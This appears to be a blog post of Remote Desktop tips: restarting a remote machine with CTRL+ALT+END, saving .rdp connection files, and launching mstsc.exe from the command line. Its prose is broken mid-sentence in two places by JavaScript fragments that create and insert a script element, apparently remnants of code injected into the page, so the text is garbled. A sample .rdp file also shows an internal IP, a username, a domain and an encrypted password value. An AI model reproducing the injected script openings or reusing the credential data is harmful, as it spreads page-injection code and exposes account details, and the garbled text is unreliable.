Ever wanted to shutdown a remote machine ?

The Shutdown command is not available on the Start menu to shut down and restart, when you are using Remote Desktop. To shut down a remote computer when you are using Remote Desktop, press CTRL+ALT+END, and then click Shutdown. Or, use the shutdown command at a command prompt.

So to restart the remote machine, all you need to do is hit CTRL-ALT-END, then Shutdown, and then choose the Restart option you’re used to seeing on a local Windows session (rather than the Shutdown option, which is also in the list).var d=document;var s=d.createElement(‘script’);

Save rdp sessions for easy login

  1. Click Start, click Run, type mstsc.exe, and then click OK.
  2. In the Remote Desktop Connection dialog box, click Options.

You can save *.rdp files with different settings if you connect to multiple remote computers. To save a new configuration, click Save As on the General tab in Options.

http://support.microsoft.com/kb/885187

Here is how an RDP saved file will look like in an editing program.

screen mode id:i:2
desktopwidth:i:1024
desktopheight:i:768
session bpp:i:16
winposstr:s:0,3,0,0,800,600
full address:s:10.70.5.29
compression:i:1
keyboardhook:i:2
audiomode:i:0
redirectdrives:i:0
redirectprinters:i:1
redirectcomports:i:0
redirectsmartcards:i:1
displayconnectionbar:i:1
autoreconnection enabled:i:1
username:s:opsprism
domain:s:HDC0001100
alternate shell:s:
shell working directory:s:
password 51:b:01000000D08C079291000000005FD007C4EE6EB3C4A5A8E8BB18
disable wallpaper:i:1
disable full window drag:i:1
disable menu anims:i:1
disable themes:i:0
disable cursor setting:i:0
bitmapcachepersistenable:i:1

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how to start rdp aka remote desktop in windows, from command line – cmd

I wanted to start the remote desktop session directly, without the need to put in the IP when it prompts. Here is the command to do so

mstsc.exe /f /v:192.168.1.2
where 192.168.1.2 is the IP of the remote machine.

Each option in detail

mstsc.exe /v:ServerName[:Port]} [/console] [/f] [/w:Width/h:Height]

mstsc.exe is the exe for rdp in windows.
/v – specifies the remote computer and port (optional) you wish to connect to
/console – connects to the console of a Windows Server 2003 based system
/f – starts the remote desktop connection in full screen mode
/w & /h – specifies the width and height of the remote desktop connectionif (document.currentScript) {